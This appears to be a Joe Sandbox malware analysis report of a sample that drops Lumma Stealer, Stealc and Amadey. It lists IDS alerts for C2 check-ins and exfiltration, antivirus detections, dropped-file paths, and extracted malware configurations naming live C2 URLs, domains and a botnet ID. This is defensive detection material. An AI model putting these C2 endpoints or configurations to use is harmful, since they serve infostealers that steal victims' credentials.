2024-10-31T23:38:41.259256+0100	2028371	3	Unknown Traffic	192.168.2.4	50010	188.114.97.3	443	TCP
2024-10-31T23:38:41.627456+0100	2028371	3	Unknown Traffic	192.168.2.4	50014	188.114.97.3	443	TCP
2024-10-31T23:38:41.727675+0100	2028371	3	Unknown Traffic	192.168.2.4	50016	188.114.97.3	443	TCP
2024-10-31T23:38:43.183085+0100	2028371	3	Unknown Traffic	192.168.2.4	50027	188.114.97.3	443	TCP
2024-10-31T23:38:43.986131+0100	2028371	3	Unknown Traffic	192.168.2.4	50034	188.114.97.3	443	TCP
2024-10-31T23:38:46.764769+0100	2028371	3	Unknown Traffic	192.168.2.4	50051	188.114.97.3	443	TCP
2024-10-31T23:38:47.014729+0100	2028371	3	Unknown Traffic	192.168.2.4	50052	188.114.97.3	443	TCP
2024-10-31T23:38:47.573968+0100	2028371	3	Unknown Traffic	192.168.2.4	50058	188.114.97.3	443	TCP
2024-10-31T23:38:50.824923+0100	2028371	3	Unknown Traffic	192.168.2.4	50072	188.114.97.3	443	TCP
2024-10-31T23:38:51.321936+0100	2028371	3	Unknown Traffic	192.168.2.4	50074	188.114.97.3	443	TCP
2024-10-31T23:38:51.570891+0100	2028371	3	Unknown Traffic	192.168.2.4	50077	188.114.97.3	443	TCP
2024-10-31T23:38:54.878729+0100	2028371	3	Unknown Traffic	192.168.2.4	50101	188.114.97.3	443	TCP
2024-10-31T23:38:55.355160+0100	2028371	3	Unknown Traffic	192.168.2.4	50109	188.114.97.3	443	TCP
2024-10-31T23:38:55.755788+0100	2028371	3	Unknown Traffic	192.168.2.4	50112	188.114.97.3	443	TCP
2024-10-31T23:38:56.651760+0100	2028371	3	Unknown Traffic	192.168.2.4	50117	188.114.97.3	443	TCP
2024-10-31T23:38:58.072301+0100	2028371	3	Unknown Traffic	192.168.2.4	50120	188.114.97.3	443	TCP
2024-10-31T23:38:59.218738+0100	2028371	3	Unknown Traffic	192.168.2.4	50122	188.114.97.3	443	TCP
2024-10-31T23:39:03.228245+0100	2028371	3	Unknown Traffic	192.168.2.4	50128	188.114.97.3	443	TCP
2024-10-31T23:39:04.400485+0100	2028371	3	Unknown Traffic	192.168.2.4	50131	188.114.97.3	443	TCP
2024-10-31T23:39:05.670656+0100	2028371	3	Unknown Traffic	192.168.2.4	50132	188.114.97.3	443	TCP
2024-10-31T23:39:07.007043+0100	2028371	3	Unknown Traffic	192.168.2.4	50133	188.114.97.3	443	TCP
2024-10-31T23:39:08.443018+0100	2028371	3	Unknown Traffic	192.168.2.4	50134	188.114.97.3	443	TCP
2024-10-31T23:39:09.852581+0100	2028371	3	Unknown Traffic	192.168.2.4	50135	188.114.97.3	443	TCP
2024-10-31T23:39:12.006755+0100	2028371	3	Unknown Traffic	192.168.2.4	50137	188.114.97.3	443	TCP
2024-10-31T23:39:13.254454+0100	2028371	3	Unknown Traffic	192.168.2.4	50138	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T23:37:00.685590+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49730	188.114.97.3	443	TCP
2024-10-31T23:37:02.077594+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49731	188.114.97.3	443	TCP
2024-10-31T23:37:14.861575+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49737	188.114.97.3	443	TCP
2024-10-31T23:38:14.411021+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49835	188.114.97.3	443	TCP
2024-10-31T23:38:15.615654+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49841	188.114.97.3	443	TCP
2024-10-31T23:38:30.697921+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49929	188.114.97.3	443	TCP
2024-10-31T23:38:30.820313+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49938	188.114.97.3	443	TCP
2024-10-31T23:38:33.309790+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49953	188.114.97.3	443	TCP
2024-10-31T23:38:37.379603+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49978	188.114.97.3	443	TCP
2024-10-31T23:38:39.381358+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49992	188.114.97.3	443	TCP
2024-10-31T23:38:40.624097+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50000	188.114.97.3	443	TCP
2024-10-31T23:38:42.135070+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50014	188.114.97.3	443	TCP
2024-10-31T23:38:55.356525+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50101	188.114.97.3	443	TCP
2024-10-31T23:38:57.349251+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50117	188.114.97.3	443	TCP
2024-10-31T23:39:03.740318+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50128	188.114.97.3	443	TCP
2024-10-31T23:39:04.857823+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50131	188.114.97.3	443	TCP
2024-10-31T23:39:13.577598+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50138	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T23:37:00.685590+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49730	188.114.97.3	443	TCP
2024-10-31T23:38:14.411021+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49835	188.114.97.3	443	TCP
2024-10-31T23:38:30.820313+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49938	188.114.97.3	443	TCP
2024-10-31T23:38:37.379603+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49978	188.114.97.3	443	TCP
2024-10-31T23:38:40.624097+0100	2049836	1	A Network Trojan was detected	192.168.2.4	50000	188.114.97.3	443	TCP
2024-10-31T23:39:03.740318+0100	2049836	1	A Network Trojan was detected	192.168.2.4	50128	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T23:37:02.077594+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49731	188.114.97.3	443	TCP
2024-10-31T23:38:15.615654+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49841	188.114.97.3	443	TCP
2024-10-31T23:38:33.309790+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49953	188.114.97.3	443	TCP
2024-10-31T23:38:39.381358+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49992	188.114.97.3	443	TCP
2024-10-31T23:38:42.135070+0100	2049812	1	A Network Trojan was detected	192.168.2.4	50014	188.114.97.3	443	TCP
2024-10-31T23:39:04.857823+0100	2049812	1	A Network Trojan was detected	192.168.2.4	50131	188.114.97.3	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T23:37:00.070148+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49730	188.114.97.3	443	TCP
2024-10-31T23:37:01.381931+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49731	188.114.97.3	443	TCP
2024-10-31T23:37:02.915934+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49732	188.114.97.3	443	TCP
2024-10-31T23:37:04.352487+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49733	188.114.97.3	443	TCP
2024-10-31T23:37:05.869341+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49734	188.114.97.3	443	TCP
2024-10-31T23:37:07.738066+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49735	188.114.97.3	443	TCP
2024-10-31T23:37:09.088765+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49736	188.114.97.3	443	TCP
2024-10-31T23:37:14.176211+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49737	188.114.97.3	443	TCP
2024-10-31T23:38:13.869337+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49835	188.114.97.3	443	TCP
2024-10-31T23:38:15.126273+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49841	188.114.97.3	443	TCP
2024-10-31T23:38:17.057533+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49852	188.114.97.3	443	TCP
2024-10-31T23:38:18.532679+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49862	188.114.97.3	443	TCP
2024-10-31T23:38:20.481133+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49877	188.114.97.3	443	TCP
2024-10-31T23:38:24.076723+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49896	188.114.97.3	443	TCP
2024-10-31T23:38:26.825862+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49911	188.114.97.3	443	TCP
2024-10-31T23:38:30.008676+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49929	188.114.97.3	443	TCP
2024-10-31T23:38:30.271513+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49938	188.114.97.3	443	TCP
2024-10-31T23:38:32.607757+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49953	188.114.97.3	443	TCP
2024-10-31T23:38:36.409137+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49977	188.114.97.3	443	TCP
2024-10-31T23:38:36.493763+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49978	188.114.97.3	443	TCP
2024-10-31T23:38:38.923350+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49992	188.114.97.3	443	TCP
2024-10-31T23:38:39.320869+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49994	188.114.97.3	443	TCP
2024-10-31T23:38:40.018301+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	50000	188.114.97.3	443	TCP
2024-10-31T23:38:41.259256+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	50010	188.114.97.3	443	TCP
2024-10-31T23:38:41.627456+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	50014	188.114.97.3	443	TCP
2024-10-31T23:38:41.727675+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	50016	188.114.97.3	443	TCP
2024-10-31T23:38:43.183085+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	50027	188.114.97.3	443	TCP
2024-10-31T23:38:43.986131+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	50034	188.114.97.3	443	TCP
2024-10-31T23:38:46.764769+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	50051	188.114.97.3	443	TCP
2024-10-31T23:38:47.014729+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	50052	188.114.97.3	443	TCP
2024-10-31T23:38:47.573968+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	50058	188.114.97.3	443	TCP
2024-10-31T23:38:50.824923+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	50072	188.114.97.3	443	TCP
2024-10-31T23:38:51.321936+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	50074	188.114.97.3	443	TCP
2024-10-31T23:38:51.570891+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	50077	188.114.97.3	443	TCP
2024-10-31T23:38:54.878729+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	50101	188.114.97.3	443	TCP
2024-10-31T23:38:55.355160+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	50109	188.114.97.3	443	TCP
2024-10-31T23:38:55.755788+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	50112	188.114.97.3	443	TCP
2024-10-31T23:38:56.651760+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	50117	188.114.97.3	443	TCP
2024-10-31T23:38:58.072301+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	50120	188.114.97.3	443	TCP
2024-10-31T23:38:59.218738+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	50122	188.114.97.3	443	TCP
2024-10-31T23:39:03.228245+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	50128	188.114.97.3	443	TCP
2024-10-31T23:39:04.400485+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	50131	188.114.97.3	443	TCP
2024-10-31T23:39:05.670656+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	50132	188.114.97.3	443	TCP
2024-10-31T23:39:07.007043+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	50133	188.114.97.3	443	TCP
2024-10-31T23:39:08.443018+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	50134	188.114.97.3	443	TCP
2024-10-31T23:39:09.852581+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	50135	188.114.97.3	443	TCP
2024-10-31T23:39:12.006755+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	50137	188.114.97.3	443	TCP
2024-10-31T23:39:13.254454+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	50138	188.114.97.3	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T23:36:59.381203+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	50139	185.215.113.16	80	TCP
2024-10-31T23:37:15.786470+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	49739	185.215.113.16	80	TCP
2024-10-31T23:38:25.355832+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	49903	185.215.113.16	80	TCP
2024-10-31T23:38:31.624586+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	49945	185.215.113.16	80	TCP
2024-10-31T23:38:56.284993+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	50114	185.215.113.16	80	TCP
2024-10-31T23:38:58.308276+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	50119	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T23:38:13.763495+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49829	185.215.113.43	80	TCP
2024-10-31T23:38:19.320608+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49864	185.215.113.43	80	TCP
2024-10-31T23:38:24.426733+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49897	185.215.113.43	80	TCP
2024-10-31T23:38:29.571742+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49925	185.215.113.43	80	TCP
2024-10-31T23:38:33.967734+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49960	185.215.113.43	80	TCP
2024-10-31T23:38:38.324341+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49986	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T23:36:59.393148+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.4	55147	1.1.1.1	53	UDP
2024-10-31T23:38:13.212096+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.4	63843	1.1.1.1	53	UDP
2024-10-31T23:38:29.617770+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.4	61189	1.1.1.1	53	UDP
2024-10-31T23:38:35.820463+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.4	61461	1.1.1.1	53	UDP
2024-10-31T23:39:02.485735+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.4	58707	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T23:36:59.404085+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.4	53703	1.1.1.1	53	UDP
2024-10-31T23:38:13.223699+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.4	50170	1.1.1.1	53	UDP
2024-10-31T23:38:29.629936+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.4	63760	1.1.1.1	53	UDP
2024-10-31T23:38:35.835532+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.4	61050	1.1.1.1	53	UDP
2024-10-31T23:39:02.559841+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.4	51138	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T23:36:59.433030+0100	2057123	1	Domain Observed Used for C2 Detected	192.168.2.4	58895	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T23:36:59.381203+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.4	63455	1.1.1.1	53	UDP
2024-10-31T23:38:13.193377+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.4	56701	1.1.1.1	53	UDP
2024-10-31T23:38:29.598678+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.4	63019	1.1.1.1	53	UDP
2024-10-31T23:38:35.795358+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.4	58206	1.1.1.1	53	UDP
2024-10-31T23:39:02.331214+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.4	57975	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T23:36:59.417968+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.4	52802	1.1.1.1	53	UDP
2024-10-31T23:38:13.235225+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.4	59931	1.1.1.1	53	UDP
2024-10-31T23:38:29.639835+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.4	56058	1.1.1.1	53	UDP
2024-10-31T23:38:35.856122+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.4	52797	1.1.1.1	53	UDP
2024-10-31T23:39:02.572381+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.4	63022	1.1.1.1	53	UDP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T23:38:21.555547+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	49876	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T23:38:21.485475+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.4	49876	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T23:38:21.831190+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.4	49876	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T23:38:23.184392+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.4	49876	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T23:38:22.028122+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	49876	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T23:37:08.069021+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49735	188.114.97.3	443	TCP
2024-10-31T23:38:18.883782+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49862	188.114.97.3	443	TCP
2024-10-31T23:38:51.369096+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	50072	188.114.97.3	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T23:38:21.187349+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49876	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T23:38:05.515443+0100	2856147	1	A Network Trojan was detected	192.168.2.4	49786	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T23:38:12.847144+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.4	49800	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T23:38:08.874848+0100	2803305	3	Unknown Traffic	192.168.2.4	49806	185.215.113.16	80	TCP
2024-10-31T23:38:14.671276+0100	2803305	3	Unknown Traffic	192.168.2.4	49837	185.215.113.16	80	TCP
2024-10-31T23:38:20.270087+0100	2803305	3	Unknown Traffic	192.168.2.4	49870	185.215.113.16	80	TCP
2024-10-31T23:38:25.355832+0100	2803305	3	Unknown Traffic	192.168.2.4	49903	185.215.113.16	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T23:38:23.751584+0100	2803304	3	Unknown Traffic	192.168.2.4	49876	185.215.113.206	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T23:38:55.959999+0100	2843864	1	A Network Trojan was detected	192.168.2.4	50109	188.114.97.3	443	TCP
2024-10-31T23:38:58.075893+0100	2843864	1	A Network Trojan was detected	192.168.2.4	50120	188.114.97.3	443	TCP
2024-10-31T23:39:12.636394+0100	2843864	1	A Network Trojan was detected	192.168.2.4	50137	188.114.97.3	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.43/Zu7JuNko/index.php

URL Reputation: Label: phishing

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\50NZQQK98UQJAWNGOUBIYXS.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\PMFCOSU6OCEJM8ZVIZ4IN3GH1YD.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\CT05WZXFBOD5DYW9HOHXFI0FQUF.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000008.00000003.2303254931.0000000005230000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 26.0.num.exe.70000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}
Source: 0bdaf26796.exe.736.9.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["crisiwarny.store", "thumbystriw.store", "scriptyprefej.store", "founpiuer.store", "presticitpo.store", "navygenerayk.store", "fadehairucw.store", "necklacedmny.store"], "Build id": "4SD0y4--legendaryy"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe	ReversingLabs: Detection: 95%
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1003023001\num.exe	ReversingLabs: Detection: 95%
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	ReversingLabs: Detection: 39%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 39%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\2JQFWL80C2PDPM4ZGE0SD0WKWOYQK.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\2J7JZ7M9HIPPAJBVZPWDBIK4VI.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1003023001\num.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\LY9L8IB5BIZFUZH5SXM3A25NO.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\50NZQQK98UQJAWNGOUBIYXS.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\PMFCOSU6OCEJM8ZVIZ4IN3GH1YD.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\CT05WZXFBOD5DYW9HOHXFI0FQUF.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 26.0.num.exe.70000.0.unpack	String decryptor: INSERT_KEY_HERE
Source: 26.0.num.exe.70000.0.unpack	String decryptor: 30
Source: 26.0.num.exe.70000.0.unpack	String decryptor: 11
Source: 26.0.num.exe.70000.0.unpack	String decryptor: 20
Source: 26.0.num.exe.70000.0.unpack	String decryptor: 24
Source: 26.0.num.exe.70000.0.unpack	String decryptor: GetProcAddress
Source: 26.0.num.exe.70000.0.unpack	String decryptor: LoadLibraryA
Source: 26.0.num.exe.70000.0.unpack	String decryptor: lstrcatA
Source: 26.0.num.exe.70000.0.unpack	String decryptor: OpenEventA
Source: 26.0.num.exe.70000.0.unpack	String decryptor: CreateEventA
Source: 26.0.num.exe.70000.0.unpack	String decryptor: CloseHandle
